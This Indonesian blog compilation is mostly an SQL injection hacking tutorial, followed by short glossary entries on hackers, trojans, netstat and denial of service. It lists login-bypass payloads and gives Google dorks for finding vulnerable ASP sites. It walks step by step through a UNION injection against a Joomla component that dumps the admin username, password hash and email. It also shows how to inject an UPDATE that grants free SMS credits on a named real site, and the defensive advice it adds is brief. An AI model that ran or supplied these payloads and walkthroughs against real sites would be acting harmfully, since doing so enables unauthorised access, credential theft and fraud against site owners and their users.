Cara Hacking Sql Injection & Cara Mengatasinya

Konsep dasar sql injection


SQL singkatan dari Structured Query Language yg merupakan bahasa komputer standar yg ditetapkan oleh ANSI (American National Standard Institute) untuk mengakses dan memanupulasi sistem database. SQL bekerja dgn program2 database seperti MS Access, DB 2, Informix, MS SQL Server, Oracle, Sybase dan lain sebagainya.

SQL Injection attack merupakan salah satu teknik dalam melakukan web hacking utk menggapai akses pada sistem database yg berbasis SQL. Teknik ini memanfaatkan kelemahan dalam bahasa pemprograman scripting pada SQL dalam mengolah suatu sistem database. Hasil yg ditimbulkan dari teknik ini membawa masalah yg sangat serius. Mengapa disebut SQL Injection ? seperti yg kita ketahui, injection jika diartikan ke dalam bahasa Indonesia yaitu “suntikan”. Yang terjadi memang seperti melakukan suntikan terhadap SQL yg tujuannya adalah tergantung kepada pelakunya dan pada intinya jika disalahgunakan maka akan membawa aspek negatif terhadap korban.

Sudah disinggung diatas bahwa SQL Injection attack memanfaatkan kelemahan dalam bahasa pemprograman scripting pada SQL maksudnya adalah memanfaatkan teknik string building untuk mengeksekusi/menjalankan kode SQL. Jadi prinsip dasar SQL Injection sebenarnya memanfaatkan kode insecure (tidak aman) atas sebuah sistem yg terhubung ke internet dalam upaya melangkahi command (perintah) dan secara langsung menuju ke database untuk kemudian mengambil keuntungan dari sistem yg dijamin aman untuk melakukan pengambilan atau pengubahan atau lain sebagainya oleh penyerang.

Keuntungan yg diambil adalah seperti login akses terhadap server yg bukan haknya atau yg lainnya, tergantung kepada penyerangnya.

Input Query String

Default setting dari SQL menggunakan :

adminID = sa

password =’’ (kosong atau blank)

misalnya : http://www.target.com/login.asp?adminID=…

%20 artinya menggantikan “jarak spasi”

Ini merupakan kondisi yg berbahaya jika pengubahan setting tidak segera dilakukan.

Verifikasi yg dilakukan oleh SQL disaat pemakai memasukkan username dan password adalah seperti yg terlihat pada teks sebagai berikut :

SQLQuery=”SELECT Username FROM Users WHERE Username=”’&strUsername&”’strpassword&”’

Pada verifikasi terdapat kelemahan pada pemprosesan pada string2 tertentu yg sebenarnya string tersebut dapat dikatakan sebagai input ilegal. Verifikasi tetap melakukan proses dan nantinya menghasilkan error page. Error page tersebut justru membuka rahasia struktur database dan bahkan error page tetapi eksekusi terhadap validasi input tetap dijalankan.

Contoh : menggunakan injection string ’OR’’= pada username maupun password baik dilakukan dgn metode URL input query string maupun Box input query string maka SQL query akan membacanya sebagai berikut :

SELECT Username FROM Users WHERE Username=’’OR’’=’’ AND Password=’’OR’’=’’

Maka yg terjadi adalah SQL query akan menyatakan blank username dan blank password sebagai user yg sah (valid). SQL Injection yg berhasil dilakukan akan ditandai dgn munculnya error page dgn error yg dimunculkan dapat berupa ODBC error, internal server error, syntax error dan lain sebagainya.

Ada banyak variasi dari injection string yg dapat digunakan untuk melakukan SQL Injection :

’or 1=1–

’or 0=0 –

’or ’x’=’x

’or a=a-

“or 0=0 –

“or 0=0 #

“or “x”=”x

“)or(”a”=”a

admin’–

hi” or 1=1 –

hi’ or’a’=’a

hi”)or(”a”=”a

or 0=0 #

’or a=a–

’or 0=0 #

’having 1=1–

“or 1=1–

“or “a”=”a

’)or(’a’=’a

’)or(’x’=’x

hi” or “a”=”a

hi’ or 1=1 –

hi’)or(’a’=’a

or 0=0 –

or 1=1–

Serangan dgn menggunakan SQL Injection dapat lebih bervariasi lagi dan itu tergantung kepada situasi dan tujuan dari serangan yg dilakukan oleh penyerang. Contoh :

’UPDATE YEPCell_memberDB set Credits=100 wher UserID=’yamakasi’

Sql Injection yg dilakukan seseorg dapat dideteksi dgn menggunakan IDS (Intrusion Detection System). IDS bukan lagi tool yg terlalu asing terdengar ditelinga anda. Anda dapat mencarinya di www.google.com


Implementasi SQL Injection pada Joomla
Apa jadinya jika admin malas mengupdate webnya? Apa jadinya jika admin tidak memperhatikan security risk yang ada? Apa jadinya jika 'the choosen one' ternyata seorang admin yang tidak tahu sama sekali mengenai system keamanan sebuah data? Ironi memang. Bahkan terkadang ada admin yang meremehkan system keamanan. Apa jadinya jika server anda memiliki konfigurasi default? Apa jadinya, apa jadinya? Dan segudang akibat dari hasil penggabungan dua kata tersebut. Yang terjadi adalah peluang seorang attacker untuk menyusup ke dalam website anda semakin memungkinkan, mengobrak-abrik server anda, bahkan tidak jarang seorang attacker mengambil profit dari exploitasi system yang ada. Dalam berbagai hal, termasuk mendulang dollar dengan cara tidak halal. Seperti yang dilakukan oleh para carder.

Penulis akan menjelaskan betapa mudahnya sebuah web dieksploitasi hanya dengan bermodalkan internet dan browser internet tentunya, dan sedikit pengetahuan sql query. Perlu penulis jelaskan, penulis hanyalah seorang manusia biasa yang memiliki pengetahuan minimal dari sistem keamanan data.

Ya, belum lama ini, salah satu component joomla terbukti mengidap penyakit berbahaya, tumor ganas yang akan menjalar keseluruh tubuh, dan berakibat kematian pada akhirnya. :D~~

Telah ditemukan bug sql injection pada com_ds-syndicate, ini adalah salah satu contoh dari sekian banyak bug fatal yang terdapat dalam joomla. Waspadalah! Kesalahan terjadi karena komponen ini tidak menyediakan filtering sql yang ketat dalam variable feed_id. Penyusupan dapat dilakukan, sederhananya ini terjadi karena kesalahan dari variable feed_id. Dan saat menulis artikel ini ada beberapa site masih memiliki kecacatan seperti ini.

Ya, Langsung aja ...

http:// korban.com/index2.php?option=ds-syndicate&version=1&feed_id=1



Url ini menampilkan feeds seperti biasanya, tapi beda halnya jika kita tes kelemahannya, dengan penambahan tanda kutip ( ' ) di belakangnya.
http:// korban.com/index2.php?option=ds-syndicate&version=1&feed_id=1'

Apa yang terjadi ? ... error...

Langkah selanjutnya adalah cari urutan si table 'dssyndicate_feeds' dengan mendapatkan bentuk error yang sama, dan berhenti ketika mendapatkan error yang berbeda :

index2.php?option=ds-syndicate&version=1&feed_id=1+order+by+1/* --> errornya sama
index2.php?option=ds-syndicate&version=1&feed_id=1+order+by+2/* --> errornya sama
index2.php?option=ds-syndicate&version=1&feed_id=1+order+by+3/* --> errornya sama
index2.php?option=ds-syndicate&version=1&feed_id=1+order+by+4/* --> errornya sama
index2.php?option=ds-syndicate&version=1&feed_id=1+order+by+20/* --> errornya sama

index2.php?option=ds-syndicate&version=1&feed_id=1+order+by+21/* --> errornya berbeda

perhatikan bentuk error-nya berbeda ketika feed_id yang diisi dengan 1+order+by+21/*, ini adalah patokan untuk melakukan injeksi sql yang selanjutnya.

Langkah selanjutnya adalah penggunaan union, lebih jelasnya mengenai fungsi union, silahkan baca di sini.

Selanjutnya kita test, apakah fungsi union dapat berjalan pada url korban.
index2.php?option=ds-syndicate&version=1&feed_id=1+union+all+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,
15,16,17,18,19,20+from+jos_users

lihat paling akhir dari baris tersebut,
from+jos_users

jos_users adalah nama table yang diambil dari struktur database joomla. Berisi mengenai informasi login user.
Sedangkan 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 ini diperoleh berdasarkan yang telah penulis jelaskan sebelumnya.

Ya setelah url di atas di enter, yang perlu dilakukan adalah mendownload file tersebut,

Setelah itu buka file yang baru didownload tersebut dengan editor seperti notepad, walaupun filenya xml, tapi penulis tetap menyarankan untuk membukanya dengan notepad, tidak dengan browser internet, karena memudahkan untuk pembacaan hasil dari sql injection yang telah dilakukan.


Lihat angka 2 di dalam tag

Jangan pedulikan angka (18) di belakangnya, yang perlu diperhatikan adalah angka 2-nya. Ini berarti berdasarkan hasil query union menggunakan browser tadi, anda dapat menggunakan angka 2 tersebut untuk keperluan selanjutnya. Seperti mengganti angka 2 dengan kumpulan karakter lain untuk menggunakannya seperti melihat versi mysql yang digunakan, ya langsung saja, kita akan mencobanya untuk melihat versi mysql yang digunakan oleh si korban. Gunakan url ini ...

http://korban.com/hack/joomla/index2.php?option=ds-syndicate&version=1&feed_id=1+union+all+select+1,
@@version,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20+from
+jos_users



perhatikan angka 2 diganti dengan kalimat @@version, enter, kemudian buka kembali file telah di download dengan notepad, apa yang terjadi ? title berubah menjadi versi si mysql, yang penulis dapatkan :



Mysql versi 5.0.33 :D, sampai sini anda telah dapat eksplorasi database user dengan leluasa. Apa yang dilakukan seorang attacker selanjutnya ? ya, mendapatkan username dan password si admin. :D.

Pengambilan username dan password secara paksa menggunakan sql injection ini dapat dilakukan secara satu persatu, ataupun sekaligus. Query untuk menampilkan username menggunakan bug sql injection yang satu ini, anda cukup mengganti @@version yang tadi dengan field yang menyimpan informasi username tentunya, gunakan url ini :

http://korban.com/hack/joomla/index2.php?option=ds-syndicate&version=1&feed_id=1+union+all+select+1,
username,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20+from+jos_users

jalankan url, download filenya, kemudian buka kembali dengan notepad. Hasilnya adalah username dari database tersebut ...


Atau bisa juga ditampilkan informasi username, password, email, dan user_type sekaligus, gunakan url seperti ini :

http://korban.com/hack/joomla/index2.php?option=ds-syndicate&version=1&feed_id=1+union+all+select+1,
concat(username,0x3a,password,0x3a,email,0x3a,usertype),3,
4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20+from+jos_users

perhatikan, string username, diganti dengan concat(username,0x3a,password,0x3a,email,0x3a,usertype), penggunaan concat disini adalah mengconvert suatu hexa, ataupun spesial karakter kedalam bentuk ascii, sehingga, yang terjadi nantinya adalah :

0x3a berubah menjadi titik dua ( : ), buka kembali file hasil dari url di atas. Yang penulis dapatkan adalah informasi seperti ini :



admin:bd3ca378488e00055d5b23df1252e443:EbnV8pXgTqIgApjK:alkemail@gmail.com:Super Administrator

Jika di urutkan :
Username : admin
Password ( hash ) : bd3ca378488e00055d5b23df1252e443:EbnV8pXgTqIgApjK
Email : alkemail@gmail.com
User type : Super Administrator

Yang di lakukan selanjutnya adalah mencoba crack password, karena itu masih dalam bentuk hash, dengan kata lain password yang masih terenkripsi. :D. Yups, pengambilan username dan password secara paksa telah terjadi, si attacker kembali mencari cara bagaimana mendapatkan password yang asli, dengan cara mengcrack password hash tersebut.

Inilah bukti begitu mudahnya suatu web diambil alih oleh attacker, akibat dari seorang admin yang malas melakukan patch pada systemnya.

Di artikel selanjutnya penulis akan menjalankan konsep sederhana password crack untuk joomla menggunakan php. Tunggu kelanjutannya ... :D.

Masalah "SQL injection" dan Solusinya

Pendahuluan
Setelah banyaknya bug-bug yang bertebaran di internet dari unicode hingga yang baru-baru ini menggemparkan jagad maya yaitu RPC Dcom, sekarang muncul lagi satu lubang keamanan yang membahayakan sebuah websites. SQL Injection atau dikenal juga dengan SQL insertion adalah sebuah teknik yang digunakan untuk mengeksploitasi
database pada suatu websites dengan memaksa keluarnya error page situs itu yang ada error pages itu terdapat info tentang struktur database website yang dieksploitasi. SQL sendiri merupakan bahasa pemrograman database yang sering dipakai para web developer maupun admin sebuah situs untuk menampung ataupun menaruh data-data baru dari suatu input yang masuk seperti input member login, search engine, dan lain sebagainya.
Sebenarnya SQL injection sendiri bukanlah hal baru, dari dulu teknik ini sudah dikenal dalam dunia hacking sebagai salah satu teknik web hacking, namun baru muncul lagi sekarang karena sifatnya yang dapat merusak database dari suatu situs. Teknik yang digunakan dalam SQL Injection adalah dengan jalan menginput perintah-perintah standar dalam SQL (DDL, DML, DCL) seperti CREATE, INSERT, UPDATE, DROP, ALTER, UNION, SELECT dan perintah-perintah lainnya yang tak asing lagi bagi anda yang sudah mengenal SQL secara mendalam maupun yang baru saja belajar. Dari berbagai jenis SQL dari MySQL, PostgreSQL, Nuke SQL, dan MS-SQL, yang paling rentan terhadap SQL Injection adalah MS-SQL.

Bahaya Default Setting
Default setting SQl yang paling berbahaya adalah menggunakan adminID = sa dan password blank alias kosong, apabila ada direktori sebuah situs yang disitu ada input untuk adminnya maka kalau kita isi id-nya dengan = 'sa' dan passwordnya =' ' maka kita langsung masuk sebagai admin, ini kalau default setting-nya belum diubah. Namun ada lagi string yang bisa kita input untuk akses sebagai web admin yaitu dengan string ' OR 1=1--
Nah apabila ada input web admin yang input box-nya adalah User dan Password maka apabila kita masukan string ' OR 1=1-- di input box user dan masukan foobar di input box password, maka akan membuat SQL query-nya bingung diakibatkan jadi SQL Query membacanya sebagai:
SELECT * from users where User ='' or 1=1-- and Password ='foobar'
yang artinya sqlnya men-SELECT semua query dari user yang user-nya '' (kosong) atau (OR) 1=1 (true) -- (tanda -- adalah mark dari SQL seperti halnya di C/C++ mark-nya // atau /*)

Jadi kalau diuraikan logikanya adalah bahwa SQL-nya menganggap 1=1 sebagai true sehingga kolom itu di-bypass lalu kolom password-nya diabaikan karena setelah 1=1 terdapat mark SQL ( -- ), sehingga password itupun diabaikan. Lalu apakah hanya itu string-nya dalam menginjeksi sebuah situs? Tentu saja tidak. Inti dari injeksi dalam langkah awalnya adalah memaksa keluar sebuah error page yang berisi informasi struktur database situs itu dan kalau kita ingin melihatnya kita harus men-debug-nya. Jadi yang kita masukkan adalah string debugging SQL code, yaitu ' having 1=1-- , ini adalah string yang harus dimasukkan kalau kita ingin melihat error page dari situs sasaran.

Mencari Target
Situs web MS-SQL dengan ASP adalah situs yang paling rentan terhadap serangan ini. Jadi bagaimana jika kita ingin mencari target yang menggunakan bahasa scripting ASP yang dapat kita serang? Seperti biasa buka http://www.google.com nah, di kolom keywordnya masukkan allinurl:.co.nz/admin.asp. Keyword ini dapat anda modifikasi ke berbagai bentuk tapi intinya allinurl: harus dimasukkan karena Google akan mencari semua URL dalam sebuah situs yang mempunyai direktori /admin.asp.
Bisa saja anda ganti dengan allinurl:.co.id atau net atau org, or.id, sampai allinurl:.fr/admin.asp semua tergantung kreativitas anda dalam mencari target menggunakan Google, dan yang terpenting dari semua itu adalah anda harus tahu di mana harus menginput string SQL tadi, misalnya di member login, user login, dan bahkan dapat pula di search product.

Lokasi SQL Injection
Lalu apakah setiap situs target kita harus di-inject lewat input box-nya? Tidak juga. Kita bisa memasukan string-string SQL di URL situs target.
Misalnya ada sebuah situs http://www.target.com/moreinfo.cfm?ProductID=245
Nah, ketikkan string injeksi debuging SQL tadi ke address bar anda dibelakang url target itu, contohnya:
http://www.target.com/moreinfo.cfm?ProductID=245' having 1=1--
atau juga anda hapus nilai produk dari URL tersebut dan ganti dengan debugging codenya, sebagai contoh:
http://www.target.com/moreinfo?ProductID=' having 1=1—

Setelah itu akan keluar sebuah error page dari situs itu yang memberi informasi tentang struktur database situs itu. Dari hasil informasi yang kita dapat ini, kita dapat melakukan serangan berikutnya. Apabila browser kita adalah Internet Explorer, ada sebagian situs yang tidak menampilkan error-nya, ini dikarenakan opsi Show Friendly HTTP Error Messages diaktifkan. Untuk itu kita perlu menonaktifkannya dengan cara menghilangkan tanda centang di kotaknya. Opsi ini dapat anda temukan di Tools > Internet Option > Advanced cari opsinya di bagian Browsing lalu hilangkan tanda centangnya dan klik tombol Apply. Sesudah itu apabila anda menemui error page yang berisi HTTP 500 error - internal server error- sebelum men-set opsi tadi, anda cukup menekan tombol Refresh, lalu terlihatlah sudah error-nya. Setelah kita tahu struktur database-nya, dengan pengetahuan dasar dari belajar SQL kita dapat menghancurkan database itu dengan perintah ' drop database [nama_database] atau drop table [nama_table], namun bukan ini yang kita cari dalam SQL Injection karena kita tidak dapat apa-apa dari string tadi.

Praktek SQL Injection
Bagaimana misalnya kalau anda menemukan sebuah situs yang menyediakan jasa kirim SMS dari web, namun setiap SMS ada perhitungannya dalam sebuah string, dan kita harus membayar dengan kartu kredit. Kita tidak akan melakukan carding disini, namun kita dapat meng-inject database-nya agar string SMS tadi diberi nilai dan bisa dipakai untuk mengirim SMS. Untuk mengetahui lebih lanjut dari serangan SQL Injection,
perhatikan SQL Injection dari sebuah situs yang memberi layanan SMS web ke handphone ini. Disini akan dijelaskan string dasar SQL yang dapat berubah menjadi hal yang membahayakan suatu situs.
1. Cari target dengan Google, keywordnya allinurl:.com/sendsms.asp. Inilah URL yang sering dipakai oleh web site yang menyediakan jasa mengirim SMS.

2. Dalam contoh ini kita pakai http://www.yepcell.com, situs ini adalah sebuah situs dari Timur Tengah yang menyediakan jasa pengiriman sms ke seluruh penjuru dunia dan menyediakan aksesori handphone seperti, ringtone dan gambar.

3. Anda harus mendaftar dulu untuk menjadi anggota supaya bisa mengirim SMS. Isikan data diri anda; semuanya boleh palsu kecuali nomor handphone. Dalam contoh ini kita buat userID dengan nama yamakasi. Sebelumnya anda dapat menguji apakah situs ini memakai SQL. Cara mengujinya dapat pada input box login dengan string yang telah dibahas di atas.

4. Setelah itu anda klik OK, dan account anda telah terbentuk.

5. Proses penyerangan akan dimulai, anda masuk ke members direktory yang URL-nya adalah http://www.yepcell.com/members.asp lalu masukan debuging code ' having 1=1- di kolom username dan masukan sembarang password di kolom password.

6. Nah, keluar error page-nya, disitu dijelaskan:
Error Type:
Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'YepCell_membersDB.UserID' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause. nah kita tahu bahwa ada table Yepcell_membersDB dan ada field UserID, ini adalah informasi berharga. untuk itu siapa tahu ada lagi filed lainnya, jadi kita masukan string ' GROUP BY YepCell_membersDB –

7. Lalu akan muncul lagi error-nya
Error Type:
Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
[ Microsoft ] [ ODBC SQL Server Driver ] [ SQL Server ] Column 'YepCell_membersDB.Password' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause nah ada lagi fieldnya yaitu Password, coba lagi kita inject mungkin ada lagi field lainnya dengan ' GROUP BY YepCell_membersDB.Password -- ...tapi ternyata error-nya kembali ke awal lagi, berarti ada dua field dalam satu table YepCell_membersDB

8. Karena sejak awal kita melakukan SQL Injection ini untuk menambah Credits (string khusus penghitung SMS) di situs ini, maka kita ubah account kita dengan injeksi ini.
Perintah UPDATE adalah perintah SQl yang berguna untuk mengubah atau memperbaiki data dalam suatu field di table yang memuat field itu, dengan kode
'UPDATE [nama_table] set [field1] = [nilai1] where kondisi ;
Jadi dengan info yang kita dapatkan dari error page yang tadi maka kita dapat membuat string-nya
'UPDATE YepCell_membersDB set Credits = 100 where UserID ='yamakasi'
kita klik submit lalu...

9. Nah, error... Tapi jangan khawatir tidak semua berjalan mulus tapi kita cek sajalah account kita.
10. Jreeeng... terlihat Credits kita bertambah menjadi seratus.Artinya kita telah sukses menginjeksi database situs itu dengan perintah SQL dasar tadi dan bukan dengan cara carding.

Sekarang anda bisa ber-SMS ria sepuasnya. Namun kadang-kadang SMS gateway situs ini sering down dan bahkan apabila sang admin menemukan keganjilan di database-nya bisa saja dia men-disable account kita bahkan men-disable pengiriman SMS ke Indonesia. Hal ini terjadi pada situs http://www.phunkyphones.net

Apabila anda adalah web admin, semua ini dapat anda hindari dengan men-disable special character atau wild character di situs anda, dan membatasi input char. Seperti halnya dengan mempelajari bahasa assembly untuk meng-crack suatu program, mempelajari SQL tidaklah sulit dan SQL Injection ini dapat meningkatan minat untuk mempelajari bahasa pemrograman database ini, agar nantinya dapat menghasilkan sesuatu.

Penutup
Setting server dengan benar memang akan mengamankan e-commerce web dari serangan deface, tetapi bukan berarti semuanya sudah aman sekarang. Situs e-commerce yang menggunakan Microsoft IIS juga menggunakan database access dengan Micosoft SQL server dan dibandingkan dengan SQL server yang lain, MS SQL server mempunyai kelemahan yang memungkinkan seseorang tanpa account dapat masuk dan lolos verifikasi dari MS SQL server.. Dari segi kerugian, hal ini lebih serius, sebab bisa saja data sensitif seperti nomor kartu kredit serta lainnya bocor! Pada saat seseorang berusaha masuk ke situs e-commerce, biasanya akan disambut dengan halaman login yang mengharuskan pemakai memasukkan login name dan password.

Gambar 7. Layar login user name dan password serta
perintah-perintah SQL dibaliknya untuk verfikasi

Setelah pemakai memasukkan username dan password, secara umum SQL akan melakukan verfikasi terpadap SQL query sebagai berikut:
SQLQuery = "SELECT Username FROM Users
WHERE Username = '" & strUsername & "' AND Password = '" & strPassword & "'“
Kelemahan verifikasi MS SQL disini mirip dengan kelemahan unicode bug, yaitu tetap memproses (dengan bingung) input-input ilegal pada username dan menghasilkan error page. Pada error page ini akan terbaca struktur database-nya.
Jadi kalau username-nya diisikan karakter-karakter ilegal seperti misalnya:
‘ OR ‘ ‘=
dan untuk password-nya disikan juga ‘ OR ‘ ‘= maka SQL query akan membacanya sebagai:
SELECT Username FROM Users WHERE Username = ‘ ‘
OR ‘ ‘=‘ ‘ AND Password = ‘ ‘ OR ‘ ‘=‘ ‘
yang artinya SQL query akan memvalidasi username kosong (blank) dan password kosong sebagai user yang sah. Keberhasilan SQL Injection ditandai dengan adanya ODBC error, internal server error, masalah dalam memproses request, syntax error, dan lain sebagainya.
Untuk mengatasi hal ini, atur agar:
• Hanya karakter tertentu yang boleh diinput.
• Jika terdeteksi adanya illegal character, langsung tolak
permintaan.

Keamanan Jaringan Komputer



Sabtu, 2009 April 04





Keamanan Jaringan Komputer




1. HACKER / HACKING

Terminologi Hacker muncul pada tahun 1960-an diantara para anggota organisasi mahasiswa Tech Model Railroad Club di Laboratorium Kecerdasan Artifisial Massachusetts Institute of Technologi (MIT).Kelompok mahasiswa tersebut merupakan salah satu perintis perkembangan teknologi komputer dan mereka berkutat dengan sejumlah komputer mainframe.

Kata Hacker pertama kalinya muncul dengan arti positif untuk menyebut seorang anggota yang memiliki keahlian dalam bidang komputer dan mampu membuat program computer yang lebih baik ketimbang yang telah dirancang bersama.

Menurut Mansfield, Hacker didefinisikan sebagai seseorang yang memiliki keinginan untuk melakukan eksplorasi dan penetrasi terhadap sebuah system operasi dan kode komputer pengaman lainnya, tetapi tidak melakukan tindakan pengrusakan apapun, tidak mencuri uang atau informasi.

Hacker juga memiliki kode etik yang pada mulanya diformulasikan dalam buku karya Steven Levy berjudul: Heroes Of The Computer Revolution, pada tahun 1984, yaitu:

· Akses ke sebuah system computer, dan apapun saja dapat mengajarkan mengenai bagaimana dunia bekerja, haruslah tidak terbatas sama sekali.

· Segala informasi haruslah gratis.

· Jangan percaya pada otoritas, promosikanlah desentralisasi

· Hacker haruslah dinilai dari sudut pandang aktifitas Hackingnya, bukan berdasarkan standar organisasi formal atau criteria yang tidak relevan seperti derajat, usia, suku maupun posisi.

· Seseorang dapat menciptakan karya seni dan keindahan di computer.

· Komputer dapat mengubah kehidupan seseorang menjadi lebih baik.

2. VULNERABILITY

Vulnerability adalah istilah yang keamanan komputernya untuk kelemahan suatu system yang mengijinkan penyerang untuk merusak integritas system tersebut.

3. TROJAN HORSE

Trojan horse atau Kuda Troya, dalam keamanan komputer merujuk kepada sebuah bentuk perangkat lunak yang mencurigakan (malicious software/malware) yang dapat merusak sebuah sistem atau jaringan. Dapat disebut sebagai Trojan saja (membuang kata horse).

Trojan berbeda dengan jenis perangkat lunak mencurigakan lainnya seperti virus komputer atau worm karena dua hal berikut:

Trojan bersifat "stealth" (siluman dan tidak terlihat) dalam operasinya dan seringkali berbentuk seolah-olah program tersebut merupakan program baik-baik, sementara virus komputer atau worm bertindak lebih agresif dengan merusak sistem atau membuat sistem menjadi crash.

Trojan tidak mereplikasi dirinya sendiri, sementara virus komputer dan worm melakukannya.

Penggunaan istilah Trojan atau Trojan horse dimaksudkan untuk menyusupkan kode-kode mencurigakan dan merusak di dalam sebuah program baik-baik dan berguna; seperti halnya dalam Perang Troya, para prajurit Yunani bersembunyi di dalam Kuda Troya yang ditujukan sebagai pengabdian kepada Poseidon. Kuda Troya tersebut menurut para petinggi Troya dianggap tidak berbahaya, dan diizinkan masuk ke dalam benteng Troya yang tidak dapat ditembus oleh para prajurit Yunani selama kurang lebih 10 tahun perang Troya bergejolak.

Kebanyakan Trojan saat ini berupa sebuah berkas yang dapat dieksekusi (*.EXE atau *.COM dalam sistem operasi Windows dan DOS atau program dengan nama yang sering dieksekusi dalam sistem operasi UNIX, seperti ls, cat, dan lain-lain) yang dimasukkan ke dalam sistem yang ditembus oleh seorang hacker untuk mencuri data yang penting bagi pengguna (password, data kartu kredit, dan lain-lain). Trojan juga dapat menginfeksi sistem ketika pengguna mengunduh aplikasi (seringnya berupa game komputer) dari sumber yang tidak dapat dipercayai dalam jaringan Internet. Aplikasi-aplikasi tersebut dapat memiliki kode Trojan yang diintegrasikan di dalam dirinya dan mengizinkan seorang cracker untuk dapat mengacak-acak sistem yang bersangkutan.

Beberapa jenis Trojan yang beredar antara lain adalah:

· Pencuri password: Jenis Trojan ini dapat mencari password yang disimpan di dalam sistem operasi (/etc/passwd atau /etc/shadow dalam keluarga sistem operasi UNIX atau berkas Security Account Manager (SAM) dalam keluarga sistem operasi Windows NT) dan akan mengirimkannya kepada si penyerang yang asli. Selain itu, jenis Trojan ini juga dapat menipu pengguna dengan membuat tampilan seolah-olah dirinya adalah layar login (/sbin/login dalam sistem operasi UNIX atau Winlogon.exe dalam sistem operasi Windows NT) serta menunggu pengguna untuk memasukkan passwordnya dan mengirimkannya kepada penyerang. Contoh dari jenis ini adalah Passfilt Trojan yang bertindak seolah-olah dirinya adalah berkas Passfilt.dll yang aslinya digunakan untuk menambah keamanan password dalam sistem operasi Windows NT, tapi disalahgunakan menjadi sebuah program pencuri password.

· Pencatat penekanan tombol (keystroke logger/keylogger): Jenis Trojan ini akan memantau semua yang diketikkan oleh pengguna dan akan mengirimkannya kepada penyerang. Jenis ini berbeda dengan spyware, meski dua hal tersebut melakukan hal yang serupa (memata-matai pengguna).

· Tool administrasi jarak jauh (Remote Administration Tools/RAT): Jenis Trojan ini mengizinkan para penyerang untuk mengambil alih kontrol secara penuh terhadap sistem dan melakukan apapun yang mereka mau dari jarak jauh, seperti memformat hard disk, mencuri atau menghapus data dan lain-lain. Contoh dari Trojan ini adalah Back Orifice, Back Orifice 2000, dan SubSeven.

· DDoS Trojan atau Zombie Trojan: Jenis Trojan ini digunakan untuk menjadikan sistem yang terinfeksi agar dapat melakukan serangan penolakan layanan secara terdistribusi terhadap host target.

· Ada lagi sebuah jenis Trojan yang mengimbuhkan dirinya sendiri ke sebuah program untuk memodifikasi cara kerja program yang diimbuhinya. Jenis Trojan ini disebut sebagai Trojan virus.

Mendeteksi keberadaan Trojan merupakan sebuah tindakan yang agak sulit dilakukan. Cara termudah adalah dengan melihat port-port mana yang terbuka dan sedang berada dalam keadaan "listening", dengan menggunakan utilitas tertentu semacam Netstat. Hal ini dikarenakan banyak Trojan berjalan sebagai sebuah layanan sistem, dan bekerja di latar belakang (background), sehingga Trojan-Trojan tersebut dapat menerima perintah dari penyerang dari jarak jauh. Ketika sebuah transmisi UDP atau TCP dilakukan, tapi transmisi tersebut dari port (yang berada dalam keadaan "listening") atau alamat yang tidak dikenali, maka hal tersebut bisa dijadikan pedoman bahwa sistem yang bersangkutan telah terinfeksi oleh Trojan Horse.

Cara lainnya yang dapat digunakan adalah dengan membuat sebuah "snapshot" terhadap semua berkas program (*.EXE, *.DLL, *.COM, *.VXD, dan lain-lain) dan membandingkannya seiring dengan waktu dengan versi-versi terdahulunya, dalam kondisi komputer tidak terkoneksi ke jaringan. Hal ini dapat dilakukan dengan membuat sebuah checksum terhadap semua berkas program (dengan CRC atau MD5 atau mekanisme lainnya). Karena seringnya Trojan dimasukkan ke dalam direktori di mana sistem operasi berada (\WINDOWS atau \WINNT untuk Windows atau /bin, /usr/bin, /sbin, /usr/sbin dalam keluarga UNIX), maka yang patut dicurigai adalah berkas-berkas yang berada di dalam direktori tersebut. Banyak berkas yang dapat dicurigai, khususnya berkas-berkas program yang memiliki nama yang mirip dengan berkas yang "baik-baik" (seperti "svch0st.exe", dari yang seharusnya "svchost.exe", sebuah berkas yang dijalankan oleh banyak layanan sistem operasi Windows) dapat dicurigai sebagai Trojan Horse.

Cara terakhir adalah dengan menggunakan sebuah perangkat lunak antivirus, yang dilengkapi kemampuan untuk mendeteksi Trojan yang dipadukan dengan firewall yang memonitor setiap transmisi yang masuk dan keluar. Cara ini lebih efisien, tapi lebih mahal, karena umumnya perangkat lunak antivirus yang dipadukan dengan firewall memiliki harga yang lebih mahal dibandingkan dengan dua cara di atas (yang cenderung "gratis"). Memang, ada beberapa perangkat yang gratis, tapi tetap saja dibutuhkan waktu, tenaga dan uang untuk mendapatkannya (mengunduhnya dari Internet).

Berikut ini adalah contoh penggunaan utilitas Netstat dalam Windows XP Professional

C:\>netstat -a –b

Active Connections

Proto Local Address Foreign Address State PID

TCP windows-xp:epmap 0.0.0.0:0 LISTENING 956

c:\windows\system32\WS2_32.dll
C:\WINDOWS\system32\RPCRT4.dll
c:\windows\system32\rpcss.dll
C:\WINDOWS\system32\svchost.exe
-- unknown component(s) –

[svchost.exe]

TCP windows-xp:microsoft-ds 0.0.0.0:0 LISTENING 4

[System]

TCP windows-xp:50300 0.0.0.0:0 LISTENING 1908

[oodag.exe]

TCP windows-xp:1025 0.0.0.0:0 LISTENING 496

[alg.exe]

TCP windows-xp:1030 0.0.0.0:0 LISTENING 1252

[ccApp.exe]

UDP windows-xp:microsoft-ds *:* 4

[System]

UDP windows-xp:4500 *:* 724

[lsass.exe]

UDP windows-xp:isakmp *:* 724

[lsass.exe]

UDP windows-xp:1900 *:* 1192

c:\windows\system32\WS2_32.dll
c:\windows\system32\ssdpsrv.dll
C:\WINDOWS\system32\ADVAPI32.dll
C:\WINDOWS\system32\kernel32.dll
[svchost.exe]

UDP windows-xp:ntp *:* 1036

c:\windows\system32\WS2_32.dll
c:\windows\system32\w32time.dll
ntdll.dll
C:\WINDOWS\system32\kernel32.dll
[svchost.exe]

4. THREAT

Threat adalah situasi yang merupakan ancaman bagi organisasi yang datang dari luar organisasi dan dapat mengancam eksistensi organisasi dimasa depan.

5. Denial of Service Attack

Didalam keamanan computer, Denial of Service Attack (DOS Attack) adalah suatu usaha untuk membuat suatu sumber daya computer yang ada tidak bisa digunakan oleh para pemakai.

